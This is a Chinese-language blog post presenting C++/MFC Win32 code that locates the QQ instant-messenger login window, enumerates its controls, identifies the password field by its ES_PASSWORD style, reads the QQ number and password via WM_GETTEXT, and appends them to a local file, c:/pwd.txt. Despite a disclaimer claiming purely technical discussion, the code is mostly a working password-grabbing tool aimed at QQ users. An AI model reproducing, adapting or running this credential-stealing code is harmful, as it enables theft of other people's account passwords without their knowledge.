天天看點

截取其他程式文本框和密碼框内容的一種實作方法

關于FindWindowEx和EnumChildWindows結合枚舉任何一個控件的簡單示例,以下代碼以現在最為流行的qq為例,隻抛磚引玉~~呵呵

申明:本文章僅從技術角度讨論這兩個函數的使用方法,任何人可以自由傳播/複制,但不得用做其他非法用途,否則責任自負.

BOOL CALLBACK EnumqqChildProc(HWND hwndChild, LPARAM lParam)

{ //如果找到qq視窗,調用這個過程枚舉控件,得到密碼和号碼

 char num[11];//qq号碼

 char pwd[20];//qq密碼

 BOOL b = true;

 HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);//得到下拉清單句柄

 HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);//得到号碼文本框句柄

//以下循環是得到密碼框句柄

 HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL);

 HWND AfterHwnd = NULL;

 while(b)

 {

  LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);//這個api很有用,可以得到很多東西

  if( (lStyle & ES_PASSWORD))//如果有密碼屬性,就是密碼框

  { 

   b=false;

  }

  else

  { 

   AfterHwnd = EditPWDHwnd;

   EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);

  }

  if(EditPWDHwnd==NULL)

   return true;

 }

 //通過WM_GETTEXT取得,視窗中的文本;

 SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);

 SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);

 //記錄号碼和密碼

 CString str;

 str.Format("/r/n号碼:%s  密碼:%s",num,pwd);

 CFile f;

 f.Open("c://pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);

 f.SeekToEnd();

 f.Write(str,str.GetLength());

 bLoop= false;

 return false;

 return TRUE;

}

BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam)

{ //這個回調函數就是用來找到qq視窗句柄

 char strTitle[80];

 if(::GetWindowText(hwndChild,strTitle,80))

  if(strstr(strTitle,"QQ密碼")!=0)//如果标題中有"QQ密碼"字串,就視為找到

  {

   bFindqq = true;

   return false;

  }

  return TRUE;

}

//調用的代碼:

 HWND hwnd=NULL;//::FindWindow((LPCSTR)"#32770",NULL);

 HWND AfterHwnd = NULL;

 while(!bFindqq)//bFindqq是一個全局變量,标志是否找到了qq視窗

 { 

  hwnd=::FindWindowEx(NULL,AfterHwnd,(LPCSTR)"#32770",NULL);

  if(!hwnd)

   break;

  AfterHwnd = hwnd;

  EnumChildWindows(hwnd,EnumChildProc,NULL);

  if(bFindqq)

   qqHwnd = hwnd;

 }

 if(bFindqq)

  EnumChildWindows(hwnd,EnumqqChildProc,NULL);